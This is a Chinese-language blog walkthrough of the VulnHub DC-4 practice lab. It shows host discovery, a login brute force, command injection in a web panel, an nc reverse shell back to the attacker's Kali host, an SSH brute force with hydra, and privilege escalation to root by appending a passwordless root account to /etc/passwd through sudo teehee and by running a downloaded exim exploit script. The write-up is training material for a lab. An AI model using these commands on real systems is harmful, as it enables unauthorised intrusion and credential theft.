[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)

男娘i 2024-04-29 01:58 138阅读 0赞

? 博主介绍

?? 博主介绍：大家好，我是 _PowerShell ，很高兴认识大家~
✨主攻领域：【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
?点赞➕评论➕收藏 == 养成习惯（一键三连）?
?欢迎关注?一起学习?一起讨论⭐️一起进步?文末有彩蛋
?作者水平有限，欢迎各位大佬指点，相互学习进步！

文章目录

  • ? 博主介绍
  • 一、环境搭建：
    • 1、靶场描述
    • 2、下载靶场环境
    • 3、启动靶场环境
  • 二、渗透靶场
    • 1、目标：
    • 2、信息收集：寻找靶机真实IP
    • 3、信息收集：探端口及服务
    • 4、目录爆破
    • 5、访问web服务
    • 6、爆破账号密码
    • 7、发现任意命令执行
    • 8、反弹shell到kali
      • 1.攻击机监听
      • 2.靶机连接
      • 3.反弹shell成功
    • 9、进入交互式shell
    • 10、teehee提权
      • 1、查看当前权限
      • 2、发现old-passwords.bak文件
      • 3、爆破出jim的ssh密码
      • 4、发现charles用户密码
      • 5、teehee提权
    • 11、exim4提权
      • 1、查看当前权限
      • 2、发现可以用exim4进行提权
      • 3、寻找exim4提权脚本
      • 4、上传提权脚本到靶机
      • 5、exim4提权
    • 12.发现flag.txt
  • 三、相关资源

一、环境搭建：

1、靶场描述

  1. DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
  2. Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
  3. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
  4. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2、下载靶场环境

靶场下载地址：

  1. https://www.vulnhub.com/entry/dc-4,313/

下载下来的文件如下

在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件，直接用Vmvare导入就行。

在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。

在这里插入图片描述

虚拟机开启之后界面如下，我们不知道ip，需要自己探活，网段知道：192.168.233.0/24

在这里插入图片描述

二、渗透靶场

1、目标：

目标就是我们搭建的靶场，靶场IP为：192.168.233.0/24

2、信息收集：寻找靶机真实IP

使用nmap进行探活，寻找靶机ip

  1. nmap -sP 192.168.233.0/24

在这里插入图片描述

也可以使用arp-scan进行探活，寻找靶机ip

  1. arp-scan -l

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.180

  1. 192.168.233.1        vm8网卡
  2. 192.168.233.2        网关
  3. 192.168.233.179    靶机
  4. 192.168.233.254    DHCP服务器
  5. 192.168.233.130    kali本机

3、信息收集：探端口及服务

使用nmap探活端口

  1. nmap -A -p- -v 192.168.233.180

在这里插入图片描述
在这里插入图片描述

发现开放了22端口，存在ssh服务，OpenSSH 7.4p1
发现开放了80端口，存在web服务，nginx 1.15.10
也可以使用masscan探活端口

  1. masscan --rate=10000 --ports 0-65535 192.168.233.180

在这里插入图片描述

然后进行web指纹识别

  1. whatweb -v 192.168.233.180

在这里插入图片描述

4、目录爆破

只发现登录框

在这里插入图片描述

5、访问web服务

  1. http://192.168.233.180/

在这里插入图片描述

发现是一个登录框，我们第一反应就是能不能爆破出弱口令，然后就是有没有可能使用万能密码

6、爆破账号密码

这里使用bp尝试获取弱口令
Bp抓个包，发送到爆破模块

在这里插入图片描述

设置好爆破点

在这里插入图片描述

导入优秀的字典
我使用的字典

  1. https://pan.baidu.com/s/1fMyJSuftvT3NSOjA7BkT-A?pwd=uiwr

账号我导入了一个常用用户名

在这里插入图片描述

密码我导入了一个top1000

在这里插入图片描述

开始爆破

在这里插入图片描述

爆破中

在这里插入图片描述

爆破结果如下：
发现admin/happy这一组返回包长度最长，猜想他就是账号密码

在这里插入图片描述

使用admin/happy登录成功

在这里插入图片描述

7、发现任意命令执行

发现它有一个命令，我们点进去看一下

在这里插入图片描述

发现这里可以执行三种命令
点击list files好像是执行了ls -l

在这里插入图片描述

点击run抓个包看一下
发现真的是执行了ls -l

在这里插入图片描述

发现执行了ls并回返值，猜想能不能执行任意命令
把抓到的包放入重放攻击模块修改命令进行重放攻击
由上面ls -l拼接方式看，我们可以知道空格使用+代替
执行ls

在这里插入图片描述

执行whoami

在这里插入图片描述

执行id

在这里插入图片描述

执行ip+add

在这里插入图片描述

由上面的测试可知确实存在任意命令执行，空格由+代替

8、反弹shell到kali

1.攻击机监听

  1. nc -lvvp 55555

Nc反弹shell详解在文末给出链接

在这里插入图片描述

2.靶机连接

连接命令

  1. nc 192.168.233.130 55555 -e /bin/bash

经过+拼接如下

  1. nc+192.168.233.130+55555+-e+/bin/bash

在这里插入图片描述

3.反弹shell成功

在这里插入图片描述

执行ls

在这里插入图片描述

9、进入交互式shell

都知道上面的到的shell不好用，我们进入交互式shell

  1. python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

10、teehee提权

这个靶机可以使用exim4提权也可以使用teehee提权，两种提权方式选择一种即可，这里我两种提权方式都有些到

1、查看当前权限

查看当前权限，不是root权限

  1. id 
  2. Whoami

在这里插入图片描述

2、发现old-passwords.bak文件

查看系统里面有什么文件
在/home/jim/backups下看到一个old-passwords.bak文件，看名字应该是一堆密码，而且是jim用户使用过的密码

在这里插入图片描述

打开看一下发现一堆密码

在这里插入图片描述

感觉可以做爆破字典
把文件保存下来

在这里插入图片描述

3、爆破出jim的ssh密码

使用hydra爆破一下ssh密码

  1. hydra -l jim -P /root/Desktop/old-passwords.bak.txt 192.168.233.180 ssh

用户名为jim，密码为我们保存的old-passwords.bak.txt

在这里插入图片描述

果然爆破出一个一对用户密码

  1. jim/jibril04

使用kali登录jim

  1. ssh jim@192.168.79.132

密码是jibril04
成功登录jim用户

在这里插入图片描述

4、发现charles用户密码

继续探索
在/var/spool/mail目录下发现一封名为jim的邮件
邮件内容大致为：
我今天要去度假了，所以老板让我给你我的密码，以防有什么事情发生错了。
也就是说这里我们又拿到了一个用户名和密码

  1. Charles/^xHhA&hvim0y

在这里插入图片描述

直接su 切换用户试试

  1. su Charles

提示没有这个用户名，那很明显首字母我们需要小写

  1. su charles

然后输入密码

  1. ^xHhA&hvim0y

在这里插入图片描述

成功用su命令切换到用户charles

5、teehee提权

1、查看使用sudo运行的命令

  1. sudo -l

看到一个teehee提权，我们可以用teehee写一些信息到/etc/passwd里面

在这里插入图片描述

2、执行如下命令进行提权：

  1. echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

命令的意思大致利用teehee为把如下信息写到/etc/passwd里面，在用户名admin 没有密码为管理员权限，进入的时候运行/bin/bash
3、/etc/passwd 内每个字段含义如下

  1. admin::0:0:::/bin/bash
  2. username:password:User ID:Group ID:comment:home directory:shell

4、成功提权为root

在这里插入图片描述

11、exim4提权

这个靶机可以使用exim4提权也可以使用teehee提权，两种提权方式选择一种即可，这里我两种提权方式都有些到

1、查看当前权限

查看当前权限，不是root权限

  1. id 
  2. whoami

在这里插入图片描述

2、发现可以用exim4进行提权

看看具有SUID权限的命令

  1. find / -user root -perm -4000 -print 2>/dev/null

发现exim4命令具有SUID权限，exim4是可以用来提权的

在这里插入图片描述

查看查看exim4版本，发现exim4版本为4.89

  1. exim4 --version

在这里插入图片描述

3、寻找exim4提权脚本

1、本地漏洞库查找exim 4漏洞

  1. searchsploit exim 4

exim4版本为4.89，发现有好几个可以用，还有两个提权，这里我们选用46996

在这里插入图片描述

4、上传提权脚本到靶机

开启apache服务

  1. systemctl start apache2.service

将选用的46996拷贝到kali的apache web页面下

  1. cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

在这里插入图片描述

访问kali服务下载提权脚本

  1. http://kali-ip/46996.sh

DC-4下载提权脚本

  1. wget http://192.168.233.130/46996.sh

提示可以访问，但拒绝访问，可能是目录权限不够，尝试切换到/tmp目录进行下载

在这里插入图片描述

  1. cd /tmp
  2. wget http://192.168.233.130/46996.sh

成功下载提权脚本

在这里插入图片描述

5、exim4提权

我们已经上传了提权脚本到靶机，接下来我们需要运行脚本进行提权

  1. ls -l

在这里插入图片描述

查看脚本权限，发现没有执行权限，我们需要给脚本加执行权限

  1. chmod +x 46996.sh

在这里插入图片描述

执行脚本

  1. ./46996.sh

在这里插入图片描述

成功提权为root权限

在这里插入图片描述

发现flag

在这里插入图片描述

12.发现flag.txt

有了root权限，我们切换到root目录下，查看文件，发现flag.txt文件

  1. cd /root
  2. ls
  3. cat flag.txt

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、[ 隧道技术 ] 反弹shell的集中常见方式（一）nc反弹shell
3、[ 常用工具篇 ] burpsuite_pro 安装配置详解（附安装包）
4、arp-scan
5、文中用到的字典
6、nmap
7、masscan
8、whatweb
9、实现交互式shell的几种方式
10、[ 隧道技术 ] 反弹shell的集中常见方式（一）nc反弹shell
11、提权辅助工具集合
12、简谈SUID提权
13、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解

发表评论

表情：
评论列表 （有 0 条评论，138人围观）

还没有评论，来说两句吧...

相关阅读